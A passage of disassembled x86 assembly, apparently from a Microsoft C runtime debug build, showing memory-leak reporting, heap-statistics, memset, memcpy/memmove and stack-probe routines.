mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_8]
add edx, [eax+10h]
mov ecx, [ebp+var_8]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_41830C
; ---------------------------------------------------------------------------
loc_4182E7: ; CODE XREF: sub_4181D0+AFj
; sub_4181D0+C0j ...
mov edx, [ebp+var_8]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_418306
int 3 ; Trap to Debugger
loc_418306: ; CODE XREF: sub_4181D0+133j
xor eax, eax
test eax, eax
jnz short loc_4182E7
loc_41830C: ; CODE XREF: sub_4181D0+115j
jmp loc_418260
; ---------------------------------------------------------------------------
loc_418311: ; CODE XREF: sub_4181D0+9Cj
mov ecx, [ebp+arg_0]
mov edx, dword_49206C
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, dword_492060
mov [eax+30h], ecx
push 9
call sub_41BD30
add esp, 4
loc_418333: ; CODE XREF: sub_4181D0+35j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4181D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_418362
cmp dword ptr [ebp+0Ch], 0
jz short loc_418362
cmp dword ptr [ebp+10h], 0
jnz short loc_418390
loc_418362: ; CODE XREF: .text:00418354j
; .text:0041835Aj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_418382
int 3 ; Trap to Debugger
loc_418382: ; CODE XREF: .text:0041837Fj
xor eax, eax
test eax, eax
jnz short loc_418362
mov eax, [ebp-8]
jmp loc_41845C
; ---------------------------------------------------------------------------
loc_418390: ; CODE XREF: .text:00418360j
mov dword ptr [ebp-4], 0
jmp short loc_4183A2
; ---------------------------------------------------------------------------
loc_418399: ; CODE XREF: .text:loc_418427j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_4183A2: ; CODE XREF: .text:00418397j
cmp dword ptr [ebp-4], 5
jge loc_41842C
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_418402
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_418427
loc_418402: ; CODE XREF: .text:004183F3j
cmp dword ptr [ebp-4], 0
jz short loc_418427
cmp dword ptr [ebp-4], 2
jnz short loc_418420
cmp dword ptr [ebp-4], 2
jnz short loc_418427
mov eax, dword_442C00
and eax, 10h
test eax, eax
jz short loc_418427
loc_418420: ; CODE XREF: .text:0041840Cj
mov dword ptr [ebp-8], 1
loc_418427: ; CODE XREF: .text:00418400j
; .text:00418406j ...
jmp loc_418399
; ---------------------------------------------------------------------------
loc_41842C: ; CODE XREF: .text:004183A6j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_41845C: ; CODE XREF: .text:0041838Bj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418470 proc near ; CODE XREF: sub_418850+5Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_8], 0
push 9
call sub_41BC90
add esp, 4
loc_41848A: ; CODE XREF: sub_418470+3Ej
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_4184AA
int 3 ; Trap to Debugger
loc_4184AA: ; CODE XREF: sub_418470+37j
xor eax, eax
test eax, eax
jnz short loc_41848A
cmp [ebp+arg_0], 0
jz short loc_4184BE
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_4184BE: ; CODE XREF: sub_418470+44j
mov eax, dword_492064
mov [ebp+var_4], eax
jmp short loc_4184D0
; ---------------------------------------------------------------------------
loc_4184C8: ; CODE XREF: sub_418470:loc_4186EDj
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_4], edx
loc_4184D0: ; CODE XREF: sub_418470+56j
cmp [ebp+var_4], 0
jz loc_4186F2
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz loc_4186F2
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_418524
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_418524
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_418529
mov ecx, dword_442C00
and ecx, 10h
test ecx, ecx
jnz short loc_418529
loc_418524: ; CODE XREF: sub_418470+85j
; sub_418470+95j
jmp loc_4186ED
; ---------------------------------------------------------------------------
loc_418529: ; CODE XREF: sub_418470+A5j
; sub_418470+B2j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_4185A2
push 0
push 1
mov eax, [ebp+var_4]
mov ecx, [eax+8]
push ecx
call sub_417FE0
add esp, 0Ch
test eax, eax
jnz short loc_418573
loc_418549: ; CODE XREF: sub_418470+FFj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_41856B
int 3 ; Trap to Debugger
loc_41856B: ; CODE XREF: sub_418470+F8j
xor ecx, ecx
test ecx, ecx
jnz short loc_418549
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_418573: ; CODE XREF: sub_418470+D7j
; sub_418470+130j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 1Ch
cmp eax, 1
jnz short loc_41859C
int 3 ; Trap to Debugger
loc_41859C: ; CODE XREF: sub_418470+129j
xor eax, eax
test eax, eax
jnz short loc_418573
loc_4185A2: ; CODE XREF: sub_418470+C0j
; sub_418470+101j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_4185C4
int 3 ; Trap to Debugger
loc_4185C4: ; CODE XREF: sub_418470+151j
xor eax, eax
test eax, eax
jnz short loc_4185A2
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41864C
loc_4185DB: ; CODE XREF: sub_418470+1A7j
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_418613
int 3 ; Trap to Debugger
loc_418613: ; CODE XREF: sub_418470+1A0j
xor edx, edx
test edx, edx
jnz short loc_4185DB
cmp dword_493798, 0
jz short loc_41863B
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call dword_493798
add esp, 8
jmp short loc_418647
; ---------------------------------------------------------------------------
loc_41863B: ; CODE XREF: sub_418470+1B0j
mov eax, [ebp+var_4]
push eax
call sub_418730
add esp, 4
loc_418647: ; CODE XREF: sub_418470+1C9j
jmp loc_4186ED
; ---------------------------------------------------------------------------
loc_41864C: ; CODE XREF: sub_418470+169j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jnz short loc_418692
loc_418655: ; CODE XREF: sub_418470+212j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 1Ch
cmp eax, 1
jnz short loc_41867E
int 3 ; Trap to Debugger
loc_41867E: ; CODE XREF: sub_418470+20Bj
xor edx, edx
test edx, edx
jnz short loc_418655
mov eax, [ebp+var_4]
push eax
call sub_418730
add esp, 4
jmp short loc_4186ED
; ---------------------------------------------------------------------------
loc_418692: ; CODE XREF: sub_418470+1E3j
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_4186ED
loc_4186A3: ; CODE XREF: sub_418470+26Fj
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_4186DB
int 3 ; Trap to Debugger
loc_4186DB: ; CODE XREF: sub_418470+268j
xor edx, edx
test edx, edx
jnz short loc_4186A3
mov eax, [ebp+var_4]
push eax
call sub_418730
add esp, 4
loc_4186ED: ; CODE XREF: sub_418470:loc_418524j
; sub_418470:loc_418647j ...
jmp loc_4184C8
; ---------------------------------------------------------------------------
loc_4186F2: ; CODE XREF: sub_418470+64j
; sub_418470+70j
push 9
call sub_41BD30
add esp, 4
loc_4186FC: ; CODE XREF: sub_418470+2B0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_41871C
int 3 ; Trap to Debugger
loc_41871C: ; CODE XREF: sub_418470+2A9j
xor ecx, ecx
test ecx, ecx
jnz short loc_4186FC
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418470 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418730 proc near ; CODE XREF: sub_418470+1CFp
; sub_418470+218p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_41874B
; ---------------------------------------------------------------------------
loc_418742: ; CODE XREF: sub_418730+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_41874B: ; CODE XREF: sub_418730+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_41875F
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_418766
; ---------------------------------------------------------------------------
loc_41875F: ; CODE XREF: sub_418730+22j
mov [ebp+var_54], 10h
loc_418766: ; CODE XREF: sub_418730+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_41880C
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp dword_442F58, 1
jle short loc_4187A3
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_41E750
add esp, 8
mov [ebp+var_58], eax
jmp short loc_4187C0
; ---------------------------------------------------------------------------
loc_4187A3: ; CODE XREF: sub_418730+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, off_442D4C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_4187C0: ; CODE XREF: sub_418730+71j
cmp [ebp+var_58], 0
jz short loc_4187D4
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_4187DB
; ---------------------------------------------------------------------------
loc_4187D4: ; CODE XREF: sub_418730+94j
mov [ebp+var_5C], 20h
loc_4187DB: ; CODE XREF: sub_418730+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_418D70
add esp, 0Ch
jmp loc_418742
; ---------------------------------------------------------------------------
loc_41880C: ; CODE XREF: sub_418730+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_418814: ; CODE XREF: sub_418730+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 1Ch
cmp eax, 1
jnz short loc_418837
int 3 ; Trap to Debugger
loc_418837: ; CODE XREF: sub_418730+104j
xor edx, edx
test edx, edx
jnz short loc_418814
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418850 proc near ; CODE XREF: sub_41B390+B9p
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp+var_34]
push eax
call sub_4181D0
add esp, 4
cmp [ebp+var_20], 0
jnz short loc_418884
cmp [ebp+var_2C], 0
jnz short loc_418884
mov ecx, dword_442C00
and ecx, 10h
test ecx, ecx
jz short loc_4188BB
cmp [ebp+var_28], 0
jz short loc_4188BB
loc_418884: ; CODE XREF: sub_418850+19j
; sub_418850+1Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_4188A4
int 3 ; Trap to Debugger
loc_4188A4: ; CODE XREF: sub_418850+51j
xor edx, edx
test edx, edx
jnz short loc_418884
push 0
call sub_418470
add esp, 4
mov eax, 1
jmp short loc_4188BD
; ---------------------------------------------------------------------------
loc_4188BB: ; CODE XREF: sub_418850+2Cj
; sub_418850+32j
xor eax, eax
loc_4188BD: ; CODE XREF: sub_418850+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418850 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_4188E2
jmp loc_41898E
; ---------------------------------------------------------------------------
loc_4188E2: ; CODE XREF: .text:004188DBj
mov dword ptr [ebp-4], 0
jmp short loc_4188F4
; ---------------------------------------------------------------------------
loc_4188EB: ; CODE XREF: .text:0041893Cj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_4188F4: ; CODE XREF: .text:004188E9j
cmp dword ptr [ebp-4], 5
jge short loc_41893E
loc_4188FA: ; CODE XREF: .text:0041893Aj
mov ecx, [ebp-4]
mov edx, off_442C10[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_418936
int 3 ; Trap to Debugger
loc_418936: ; CODE XREF: .text:00418933j
xor eax, eax
test eax, eax
jnz short loc_4188FA
jmp short loc_4188EB
; ---------------------------------------------------------------------------
loc_41893E: ; CODE XREF: .text:004188F8j
; .text:00418964j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_418960
int 3 ; Trap to Debugger
loc_418960: ; CODE XREF: .text:0041895Dj
xor eax, eax
test eax, eax
jnz short loc_41893E
loc_418966: ; CODE XREF: .text:0041898Cj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_418988
int 3 ; Trap to Debugger
loc_418988: ; CODE XREF: .text:00418985j
xor eax, eax
test eax, eax
jnz short loc_418966
loc_41898E: ; CODE XREF: .text:004188DDj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4189A0 proc near ; CODE XREF: sub_40119E+63p
; sub_40119E+B2p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4189F3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4189E7
neg ecx
and ecx, 3
jz short loc_4189C9
sub edx, ecx
loc_4189C3: ; CODE XREF: sub_4189A0+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4189C3
loc_4189C9: ; CODE XREF: sub_4189A0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4189E7
rep stosd
test edx, edx
jz short loc_4189ED
loc_4189E7: ; CODE XREF: sub_4189A0+18j
; sub_4189A0+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4189E7
loc_4189ED: ; CODE XREF: sub_4189A0+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4189F3: ; CODE XREF: sub_4189A0+Aj
mov eax, [esp+arg_0]
retn
sub_4189A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A00 proc near ; CODE XREF: sub_40119E+54p
; sub_40119E+77p ...
var_733BFFC7 = byte ptr -733BFFC7h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_418A20
cmp edi, eax
jb loc_418B98
loc_418A20: ; CODE XREF: sub_418A00+16j
test edi, 3
jnz short loc_418A3C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418A5C
rep movsd
jmp ds:off_418B48[edx*4]
; ---------------------------------------------------------------------------
loc_418A3C: ; CODE XREF: sub_418A00+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_418A54
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_418A5C+4[eax*4]
; ---------------------------------------------------------------------------
loc_418A54: ; CODE XREF: sub_418A00+46j
jmp dword ptr ds:loc_418B58[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_418A5C: ; CODE XREF: sub_418A00+31j
; sub_418A00+8Ej ...
jmp ds:off_418ADC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418A6C+4
; ---------------------------------------------------------------------------
pushf
mov al, [ecx+0]
loc_418A6C: ; DATA XREF: sub_418A00+64o
ror byte ptr [edx-2EDCFFBFh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_418A5C
rep movsd
jmp ds:off_418B48[edx*4]
; ---------------------------------------------------------------------------
align 4
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_418A5C
rep movsd
jmp ds:off_418B48[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_418A5C
rep movsd
jmp ds:off_418B48[edx*4]
; ---------------------------------------------------------------------------
align 4
off_418ADC dd offset loc_418B3F ; DATA XREF: sub_418A00:loc_418A5Cr
dd offset loc_418B2C
dd offset loc_418B24
dd offset loc_418B1C
dd offset loc_418B14
dd offset loc_418B0C
dd offset loc_418B04
dd offset loc_418AFC
; ---------------------------------------------------------------------------
loc_418AFC: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_418B04: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_418B0C: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_418B14: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_418B1C: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_418B24: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_418B2C: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418B3F: ; CODE XREF: sub_418A00:loc_418A5Cj
; DATA XREF: sub_418A00:off_418ADCo
jmp ds:off_418B48[edx*4]
; ---------------------------------------------------------------------------
align 4
off_418B48 dd offset loc_418B58 ; DATA XREF: sub_418A00+35r
; sub_418A00+92r ...
dd offset loc_418B60
dd offset loc_418B6C
dd offset loc_418B80
; ---------------------------------------------------------------------------
loc_418B58: ; CODE XREF: sub_418A00+35j
; sub_418A00+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418B60: ; CODE XREF: sub_418A00+35j
; sub_418A00+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418B6C: ; CODE XREF: sub_418A00+35j
; sub_418A00+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418B80: ; CODE XREF: sub_418A00+35j
; sub_418A00+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418B98: ; CODE XREF: sub_418A00+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_418BCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418BC0
std
rep movsd
cld
jmp ds:off_418CE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418BC0: ; CODE XREF: sub_418A00+1B1j
; sub_418A00+208j ...
neg ecx
jmp dword ptr ds:loc_418C8F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_418BCC: ; CODE XREF: sub_418A00+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_418BE4
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_418BE4+4[eax*4]
; ---------------------------------------------------------------------------
loc_418BE4: ; CODE XREF: sub_418A00+1D6j
; DATA XREF: sub_418A00+1DDr
jmp ds:off_418CE0[ecx*4]
; ---------------------------------------------------------------------------
align 4
clc
mov eax, [ecx+0]
sbb [ecx+eax*2+418C4000h], cl
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_418BC0
std
rep movsd
cld
jmp ds:off_418CE0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_418BC0
std
rep movsd
cld
jmp ds:off_418CE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_418BC0
std
rep movsd
cld
jmp ds:off_418CE0[edx*4]
; ---------------------------------------------------------------------------
align 4
xchg eax, esp
mov word ptr [ecx+0], es
pushf
mov word ptr [ecx+0], es
movsb
mov word ptr [ecx+0], es
lodsb
mov word ptr [ecx+0], es
mov ah, 8Ch
inc ecx
add [esp+ecx*4+8+var_733BFFC7], bh
inc ecx
loc_418C8F: ; DATA XREF: sub_418A00+1C2r
add bh, dl
mov word ptr [ecx+0], es
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418CD7: ; CODE XREF: sub_418A00+1C2j
jmp ds:off_418CE0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_418CE0 dd offset loc_418CF0 ; DATA XREF: sub_418A00+1B7r
; sub_418A00:loc_418BE4r ...
dd offset loc_418CF8
dd offset loc_418D08
dd offset loc_418D1C
; ---------------------------------------------------------------------------
loc_418CF0: ; CODE XREF: sub_418A00+1B7j
; sub_418A00:loc_418BE4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418CF8: ; CODE XREF: sub_418A00+1B7j
; sub_418A00:loc_418BE4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418D08: ; CODE XREF: sub_418A00+1B7j
; sub_418A00:loc_418BE4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418D1C: ; CODE XREF: sub_418A00+1B7j
; sub_418A00:loc_418BE4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_418A00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418D40 proc near ; CODE XREF: sub_40119E+8p
; sub_4013F1+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_418D60
loc_418D4C: ; CODE XREF: sub_418D40+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_418D4C
loc_418D60: ; CODE XREF: sub_418D40+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_418D40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418D70 proc near ; CODE XREF: sub_4013F1+47p
